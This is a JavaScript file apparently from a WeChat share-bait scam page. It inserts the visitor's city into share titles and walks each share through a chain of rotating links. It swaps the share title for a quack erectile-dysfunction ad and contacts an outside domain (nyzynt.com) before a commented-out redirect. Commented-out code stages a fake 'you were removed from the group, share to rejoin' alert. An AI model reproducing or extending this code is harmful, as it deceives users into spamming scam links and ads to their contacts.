(function () {
    var share = 0;
    //   var obj = JSON.parse(window.atob(getJsParam('p.js','xs')));
    // console.log(obj);
    if(obj.iswechat  == 1){
        var system = {win: false,mac: false,xll: false};
        var p = navigator.platform;
        system.win = p.indexOf("Win") == 0;
        system.mac = p.indexOf("Mac") == 0;
        system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
        if (system.win || system.mac) {
            // location.href = obj.error;
        }
    }
    if(obj.isdown == 1){
        document.body.addEventListener('touchmove',function (event) {
            event.preventDefault();
        },false);
    }

    obj = getaddress(obj);
    function getaddress(string) {
        var address = localAddress.city ? localAddress.city : (localAddress.province ? localAddress.province : '江西');
        city = address.replace(/(.*)市/,'$1');
        city = city.replace(/(.*)省/,'$1');
        string.share.title = string.share.title.replace(/{city}/,city);
        string.share.qtitle = string.share.qtitle.replace(/{city}/,city);
        string.share.desc = string.share.desc.replace(/{city}/,city);
        return string;
    }


    // function getJsParam(jsName, paramName) {
    /*******************************************
     说明：获取js文件后的参数
     jsName：js文件名称
     paramName：要获取的参数名称（如果该参数没有传，则返回整个js参数的数组Json对象）
     ********************************************/
    /* var retJsonArr = [],
         retVal = '';
     var rName = new RegExp(jsName + "(\\?(.*))?$");
     var jss = document.getElementsByTagName('script');
     for (var i = 0; i < jss.length; i++) {
         var j = jss[i];
         if (j.src && j.src.match(rName)) {
             var oo = j.src.match(rName)[2];
             if (oo && (t = oo.match(/([^&=]+)=([^=&]+)/g))) {
                 for (var l = 0; l < t.length; l++) {
                     r = t[l];
                     var tt = r.match(/([^&=]+)=([^=&]+)/);
                     if (tt) {
                         retJsonArr.push({ key: tt[1], val: tt[2] });

                         if (paramName != undefined && paramName.length > 0 && paramName == tt[1]) {
                             retVal = tt[2];
                         }
                     }
                 }
             }
         }
     }
     return paramName != undefined && paramName.length > 0 ? retVal : retJsonArr;
 }*/

    /*function is_append(callback,time) {
        setTimeout(callback,time)
    }*/

// $.getScript('https://guanggao88888.oss-cn-hangzhou.aliyuncs.com/luodi_js/wxshare.js?t='+new Date().getTime(),function () {
    $.getScript('001/wxshare.js?t='+new Date().getTime(),function () {
// is_append(function () {
//     $('.tp').append('<div id="fu"><ul class="fgy"></ul></div>');
//     is_append(function () {
//         $('.fgy').append('<li><div class="l"><img src="'+obj.simg[0]+'" alt=""></div><div class="r"><p>'+obj.uname[0]+'</p><img src="'+obj.pimg[0]+'" alt=""></div></li>');
//         is_append(function () {
//             $('.fgy').append('<li><div class="l"><img src="'+obj.simg[1]+'" alt=""></div><div class="r"><p>'+obj.uname[1]+'</p><img src="'+obj.pimg[1]+'" alt=""></div></li>');
//             is_append(function () {
//                 $('.t').remove();
//                 $('.fgy').append('<li><div class="l"><img src="'+obj.simg[2]+'" alt=""></div><div class="r"><p>'+obj.uname[2]+'</p> <div class="w"><span></span>'+obj.pimg[2]+'</div></div></li>');
//                 is_append(function () {
//                     $('.fgy').append('<li><div class="l"><img src="'+obj.simg[3]+'" alt=""></div><div class="r"><p>'+obj.uname[3]+'</p><img class="y" src="'+obj.pimg[3]+'" alt=""></div></li>');
//                     $("ul>li").eq(0).remove();
//                     is_append(function () {
//                         $('#fu').append('<p class="yichu">\u4f60\u5df2\u88ab\u201c<span>\u7fa4\u4e3b</span>\u201d\u79fb\u9664\u7fa4\u804a\uff01</p>');
//                         is_append(function () {
//                             $('body').append('<div  id="og" style="display: block;width: 100%;position: fixed;left: 0;top: 0;z-index: 66;background: black;opacity: 0.7;height: 100vh"><img  style="display: block;width: 100%" src="'+obj.img+'" /> </div>');
//                             wxalert('<p style="font-size:20px;color: red;">\u4f60\u5df2\u7ecf\u88ab\u7ba1\u7406\u5458\u79fb\u51fa\u7fa4\u7ec4</p><br/><p style="font-size: 18px;font-weight: 700;">\u63d0\u793a\uff1a\u5b8c\u6210\u5206\u4eab\u4efb\u52a1\uff0c\u5373\u53ef\u91cd\u65b0\u52a0\u7fa4</p><br/><p>\uff08\u8bf7\u5206\u4eab\u5230\u4e00\u4e2a\u5fae\u4fe1\u7fa4\uff09</p>','\u786e\u5b9a');
//                             Imgs_clik();
//                         },500);
//                     },800);
//                 },800);
//             },800);
//         },800);
//     },800);
// },200);
        var MyweChats =  new MyweChat({
            /* 'api':obj.api,
             'title':obj.share.title,
             'desc':obj.share.desc,
             'img':obj.share.img,
             'link':obj.a[0],
             'ishide':true*/

            'api':obj.api,
            'title':obj.share.title,
            'desc':obj.share.desc,
            'img':obj.share.img,
            'link':obj.a[0],
            'ishide':true


        });

        // MyweChats.Reloadconfig();


        MyweChats.shaer_tips = function () {
            switch (MyweChats.share){
                case 0:
                    window._Data.Info.title = obj.share.title;
                    window._Data.Info.desc = obj.share.desc;
                    window._Data.Info.img_url = obj.share.img;
                    //   $('.centerDiv img').attr({'src':'https://unify0402.oss-cn-hangzhou.aliyuncs.com/zhibo/img/share2.png'});
                    $('.centerDiv img').attr({'src':'003/film_share2.png'});

                    //	window._Data.Info.title = '';
                    //    window._Data.Info.desc = "✉";//群描述
                    //    window._Data.Info.img_url = "https://qun11-27.oss-cn-hangzhou.aliyuncs.com/hongbao/img/20190311173016.png";
                    window._Data.Info.link = obj.a[1];
                    MyweChats.Reloadconfig();

                    MyweChats.share++;//1
                    break;
                case 1:

                    // window._Data.Info.title = '';
                    // window._Data.Info.desc = ms+'"';//群描述
                    // window._Data.Info.img_url = "https://sig0202.oss-cn-hangzhou.aliyuncs.com/img/msg.png";
                    //	 window._Data.Info.link = obj.a[5];


                    window._Data.Info.title = obj.share.title;
                    window._Data.Info.desc = obj.share.desc;
                    window._Data.Info.img_url = obj.share.img;
                    window._Data.Info.link = obj.a[2];
                    MyweChats.Reloadconfig();
                    $('.centerDiv img').attr({'src':'003/film_share3.png'});
                    MyweChats.share++;//2
                    break;
                case 2:


                    window._Data.Info.title = obj.share.title;
                    window._Data.Info.desc = obj.share.desc;
                    window._Data.Info.img_url = obj.share.img;

                    window._Data.Info.link = obj.a[3];//3(正常3)
                    MyweChats.Reloadconfig();
                    //  $('.centerDiv img').attr({'src':'https://unify0402.oss-cn-hangzhou.aliyuncs.com/dianyingpiao/img/film_share4.png'});
                    $('.centerDiv img').attr({'src':'003/film_share4.png'});
                    MyweChats.share++;//3
                    break;
                case 3:
//还原数据
//                          window._Data.Info.img_url = obj.share.img;
//                          window._Data.Info.desc = obj.share.desc;
//                          window._Data.Info.link = obj.a[3]; // 0-3



                    window._Data.Info.title = obj.share.qtitle;
                    //  window._Data.Info.title = '庆祝5G网络上市 4G流量大派送';
                    window._Data.Info.img_url = obj.share.img;
                    MyweChats.appMessage();
                    MyweChats.Reloadconfig();
                    $('.centerDiv img').attr({'src':'003/film_share5.png'});
                    //  $('.centerDiv img').hide();
                    // $('.img2').show();
                    MyweChats.share++;//4
                    break;
                default:
                    break;
            }
        };
        MyweChats.shaer_p_tips = function () {
            switch (MyweChats.share){
                case 4:
                    window._Data.Info.link = obj.a[4];
                    /*window._Data.Info.title = '\u7537\u4eba\u80be\u865a \u9633\u75ff \u65e9\u6cc4 \u65f6\u95f4\u77ed \u6559\u4f60\u4e00\u62db\u8f7b\u677e\u641e\u5b9a...';*/
                    window._Data.Info.title = '\u7537\u4eba\u80be\u865a \u9633\u75ff \u65e9\u6cc4 \u65f6\u95f4\u77ed \u6559\u4f60\u4e00\u62db\u8f7b\u677e\u641e\u5b9a...';
                    window._Data.Info.img_url =obj.share.adv;
                    // window._Data.Info.img_url ='https://qun11-27.oss-cn-hangzhou.aliyuncs.com/hongbao/img/4g.png';
                    window._Data.Info.type = 'video';
                    MyweChats.Reloadconfig();
                    $('.centerDiv img').attr({'src':'003/film_share6.png'});
                    //   $('#huan').attr({'src':'https://unify0402.oss-cn-hangzhou.aliyuncs.com/zhibo/img2/8.png'});
                    //   $('.img2').hide();
                    //  $('.img3').show();
                    MyweChats.share++;//5
                    break;
                case 5:
                    $('.centerDiv img').attr({'src':'003/film_share7.png'});


                    setTimeout(function(){
                        $.getJSON('http://nyzynt.com/fack/get_bb',function (e) {
                            console.log(e);

                            // location.href = e.v+'&pk=unify0402_dyp';
                        });
                    },5000)

                    break;
            }
        };


    });


})();
